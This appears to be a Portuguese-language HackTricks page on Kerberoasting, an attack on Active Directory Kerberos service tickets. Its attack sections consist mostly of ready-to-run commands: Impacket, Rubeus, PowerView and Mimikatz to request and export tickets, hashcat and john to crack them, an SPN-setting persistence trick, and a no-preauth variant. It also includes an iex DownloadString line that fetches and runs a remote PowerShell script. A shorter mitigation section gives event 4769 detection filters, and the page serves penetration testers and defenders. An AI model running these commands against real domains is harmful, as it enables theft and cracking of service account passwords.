14 KiB
Kerberoast
Use Trickest para construir e automatizar facilmente fluxos de trabalho com as ferramentas comunitárias mais avançadas do mundo.
Acesse hoje:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥
- Você trabalha em uma empresa de segurança cibernética? Você quer ver sua empresa anunciada no HackTricks? ou você quer ter acesso à última versão do PEASS ou baixar o HackTricks em PDF? Verifique os PLANOS DE ASSINATURA!
- Descubra The PEASS Family, nossa coleção exclusiva de NFTs
- Obtenha o swag oficial do PEASS & HackTricks
- Junte-se ao 💬 grupo Discord ou ao grupo telegram ou siga-me no Twitter 🐦@carlospolopm.
- Compartilhe suas técnicas de hacking enviando PRs para o repositório hacktricks e repositório hacktricks-cloud.
Kerberoast
O objetivo do Kerberoasting é coletar tickets TGS para serviços que são executados em nome de contas de usuário no AD, não em contas de computador. Assim, parte desses tickets TGS são criptografados com chaves derivadas das senhas dos usuários. Como consequência, suas credenciais podem ser quebradas offline.
Você pode saber que uma conta de usuário está sendo usada como um serviço porque a propriedade "ServicePrincipalName" não é nula.
Portanto, para realizar o Kerberoasting, apenas uma conta de domínio que possa solicitar TGSs é necessária, o que pode ser qualquer pessoa, já que não são necessários privilégios especiais.
Você precisa de credenciais válidas dentro do domínio.
Ataque
{% hint style="warning" %}
As ferramentas de Kerberoasting normalmente solicitam criptografia RC4
ao realizar o ataque e iniciar solicitações TGS-REQ. Isso ocorre porque o RC4 é mais fraco e mais fácil de quebrar offline usando ferramentas como o Hashcat do que outros algoritmos de criptografia, como AES-128 e AES-256.
Hashes RC4 (tipo 23) começam com $krb5tgs$23$*
enquanto os AES-256 (tipo 18) começam com $krb5tgs$18$*
.
{% endhint %}
Linux
# Metasploit framework
msf> use auxiliary/gather/get_user_spns
# Impacket
GetUserSPNs.py -request -dc-ip <DC_IP> <DOMAIN.FULL>/<USERNAME> -outputfile hashes.kerberoast # Password will be prompted
GetUserSPNs.py -request -dc-ip <DC_IP> -hashes <LMHASH>:<NTHASH> <DOMAIN>/<USERNAME> -outputfile hashes.kerberoast
# kerberoast: https://github.com/skelsec/kerberoast
kerberoast ldap spn 'ldap+ntlm-password://<DOMAIN.FULL>\<USERNAME>:<PASSWORD>@<DC_IP>' -o kerberoastable # 1. Enumerate kerberoastable users
kerberoast spnroast 'kerberos+password://<DOMAIN.FULL>\<USERNAME>:<PASSWORD>@<DC_IP>' -t kerberoastable_spn_users.txt -o kerberoast.hashes # 2. Dump hashes
Ferramentas multifuncionais incluindo um despejo de usuários kerberoastáveis:
# ADenum: https://github.com/SecuProject/ADenum
adenum -d <DOMAIN.FULL> -ip <DC_IP> -u <USERNAME> -p <PASSWORD> -c
Windows
- Enumerar usuários vulneráveis ao ataque Kerberoast
# Get Kerberoastable users
setspn.exe -Q */* #This is a built-in binary. Focus on user accounts
Get-NetUser -SPN | select serviceprincipalname #Powerview
.\Rubeus.exe kerberoast /stats
- Técnica 1: Solicitar TGS e extrair da memória
Nesta técnica, exploramos uma vulnerabilidade no protocolo Kerberos para obter o Ticket Granting Service (TGS) e, em seguida, extraí-lo da memória do sistema. O TGS é um ticket que concede acesso a serviços específicos dentro do domínio do Active Directory.
Passos:
- Identifique um usuário com privilégios suficientes para solicitar um TGS.
- Use ferramentas como Mimikatz ou Rubeus para solicitar o TGS em nome do usuário identificado.
- Extraia o TGS da memória do sistema usando ferramentas como Mimikatz ou ProcDump.
- Analise o TGS extraído para obter informações sensíveis, como hashes de senha.
Essa técnica é eficaz porque o TGS contém informações criptografadas que podem ser usadas para realizar ataques de força bruta offline e obter as senhas dos usuários. Portanto, é importante proteger a memória do sistema contra acesso não autorizado e implementar medidas de segurança adicionais, como a autenticação multifator, para mitigar esse tipo de ataque.
#Get TGS in memory from a single user
Add-Type -AssemblyName System.IdentityModel
New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList "ServicePrincipalName" #Example: MSSQLSvc/mgmt.domain.local
#Get TGSs for ALL kerberoastable accounts (PCs included, not really smart)
setspn.exe -T DOMAIN_NAME.LOCAL -Q */* | Select-String '^CN' -Context 0,1 | % { New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList $_.Context.PostContext[0].Trim() }
#List kerberos tickets in memory
klist
# Extract them from memory
Invoke-Mimikatz -Command '"kerberos::list /export"' #Export tickets to current folder
# Transform kirbi ticket to john
python2.7 kirbi2john.py sqldev.kirbi
# Transform john to hashcat
sed 's/\$krb5tgs\$\(.*\):\(.*\)/\$krb5tgs\$23\$\*\1\*\$\2/' crack_file > sqldev_tgs_hashcat
- Técnica 2: Ferramentas automáticas
# Powerview: Get Kerberoast hash of a user
Request-SPNTicket -SPN "<SPN>" -Format Hashcat #Using PowerView Ex: MSSQLSvc/mgmt.domain.local
# Powerview: Get all Kerberoast hashes
Get-DomainUser * -SPN | Get-DomainSPNTicket -Format Hashcat | Export-Csv .\kerberoast.csv -NoTypeInformation
# Rubeus
.\Rubeus.exe kerberoast /outfile:hashes.kerberoast
.\Rubeus.exe kerberoast /user:svc_mssql /outfile:hashes.kerberoast #Specific user
.\Rubeus.exe kerberoast /ldapfilter:'admincount=1' /nowrap #Get of admins
# Invoke-Kerberoast
iex (new-object Net.WebClient).DownloadString("https://raw.githubusercontent.com/EmpireProject/Empire/master/data/module_source/credentials/Invoke-Kerberoast.ps1")
Invoke-Kerberoast -OutputFormat hashcat | % { $_.Hash } | Out-File -Encoding ASCII hashes.kerberoast
{% hint style="warning" %}
Quando um TGS é solicitado, o evento do Windows 4769 - Um ticket de serviço Kerberos foi solicitado
é gerado.
{% endhint %}
Use Trickest para construir e automatizar fluxos de trabalho com facilidade, utilizando as ferramentas comunitárias mais avançadas do mundo.
Acesse hoje mesmo:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
Quebrando
john --format=krb5tgs --wordlist=passwords_kerb.txt hashes.kerberoast
hashcat -m 13100 --force -a 0 hashes.kerberoast passwords_kerb.txt
./tgsrepcrack.py wordlist.txt 1-MSSQLSvc~sql01.medin.local~1433-MYDOMAIN.LOCAL.kirbi
Persistência
Se você tiver permissões suficientes sobre um usuário, você pode torná-lo susceptível a ataques de kerberoasting:
Set-DomainObject -Identity <username> -Set @{serviceprincipalname='just/whateverUn1Que'} -verbose
Você pode encontrar ferramentas úteis para ataques de kerberoast aqui: https://github.com/nidem/kerberoast
Se você encontrar esse erro no Linux: Kerberos SessionError: KRB_AP_ERR_SKEW(Clock skew too great)
, é por causa do horário local, você precisa sincronizar o host com o DC. Existem algumas opções:
ntpdate <IP do DC>
- Descontinuado a partir do Ubuntu 16.04rdate -n <IP do DC>
Mitigação
O kerberoast é muito furtivo se for explorável
- ID do evento de segurança 4769 - Um ticket Kerberos foi solicitado
- Como o 4769 é muito frequente, vamos filtrar os resultados:
- O nome do serviço não deve ser krbtgt
- O nome do serviço não deve terminar com $ (para filtrar contas de máquina usadas para serviços)
- O nome da conta não deve ser machine@domain (para filtrar solicitações de máquinas)
- O código de falha é '0x0' (para filtrar falhas, 0x0 é sucesso)
- Mais importante, o tipo de criptografia do ticket é 0x17
- Mitigação:
- As senhas da conta de serviço devem ser difíceis de adivinhar (mais de 25 caracteres)
- Use Contas de Serviço Gerenciadas (alteração automática de senha periodicamente e gerenciamento delegado de SPN)
Get-WinEvent -FilterHashtable @{Logname='Security';ID=4769} -MaxEvents 1000 | ?{$_.Message.split("`n")[8] -ne 'krbtgt' -and $_.Message.split("`n")[8] -ne '*$' -and $_.Message.split("`n")[3] -notlike '*$@*' -and $_.Message.split("`n")[18] -like '*0x0*' -and $_.Message.split("`n")[17] -like "*0x17*"} | select ExpandProperty message
Kerberoast sem conta de domínio
Em setembro de 2022, foi descoberta uma vulnerabilidade por Charlie Clark, em que os ST (Service Tickets) podem ser obtidos por meio de uma solicitação KRB_AS_REQ sem a necessidade de controlar qualquer conta do Active Directory. Se um principal puder autenticar sem pré-autenticação (como no ataque AS-REP Roasting), é possível usá-lo para lançar uma solicitação KRB_AS_REQ e enganar a solicitação para pedir um ST em vez de um TGT criptografado, modificando o atributo sname na parte do corpo da solicitação.
A técnica é totalmente explicada neste artigo: post do blog Semperis.
{% hint style="warning" %} Você deve fornecer uma lista de usuários, pois não temos uma conta válida para consultar o LDAP usando essa técnica. {% endhint %}
Linux
GetUserSPNs.py -no-preauth "NO_PREAUTH_USER" -usersfile "LIST_USERS" -dc-host "dc.domain.local" "domain.local"/
Windows
Rubeus.exe kerberoast /outfile:kerberoastables.txt /domain:"domain.local" /dc:"dc.domain.local" /nopreauth:"NO_PREAUTH_USER" /spn:"TARGET_SERVICE"
Mais informações sobre Kerberoasting em ired.team aquie aqui.
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥
- Você trabalha em uma empresa de segurança cibernética? Você quer ver sua empresa anunciada no HackTricks? ou você quer ter acesso à última versão do PEASS ou baixar o HackTricks em PDF? Verifique os PLANOS DE ASSINATURA!
- Descubra A Família PEASS, nossa coleção exclusiva de NFTs
- Adquira o swag oficial do PEASS & HackTricks
- Junte-se ao 💬 grupo Discord ou ao grupo telegram ou siga-me no Twitter 🐦@carlospolopm.
- Compartilhe seus truques de hacking enviando PRs para o repositório hacktricks e repositório hacktricks-cloud.
Use Trickest para construir e automatizar fluxos de trabalho com facilidade, utilizando as ferramentas comunitárias mais avançadas do mundo.
Acesse hoje mesmo:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}